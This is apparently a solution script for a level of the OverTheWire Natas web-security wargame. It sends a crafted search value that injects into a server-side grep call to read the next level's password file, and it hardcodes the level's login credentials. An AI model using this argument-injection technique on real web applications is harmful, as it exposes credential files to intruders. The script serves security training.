text: #!/bin/python3
  
  import requests
  import re
  import html.parser
  
  username = 'natas10'
  password = 'nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu'
  #secret = "oubWYf2kBq" #gained from reversing the function in 8.php
  
  url = 'http://%s.natas.labs.overthewire.org' % (username)
  data = { "needle" : ". /etc/natas_webpass/natas11 #" ,"submit" : "submit" }
  
  #for communicating with the website whilst maintaining session history
  session = requests.Session()
  response = session.post(url + '',data = data, auth = (username,password) )
  content = html.unescape(response.text)
  
  #for viewing the webpage
  #print (content)
  
  #for finding the password 
  print (re.findall('<pre>\n(.*)\n</pre>',content)[0])
  
  
  #passes through the key to a grep call presumably by system
  #passthru("grep -i $key dictionary.txt") where $key is user input
  #the input is being filtered to dissallow keys with ;|& in it 
  #so can't use ; to run a different command
  #can still search for all entries in the password file using grep
  #and comment out the database file
  #to allow for another command to be input then simply cat the password file
  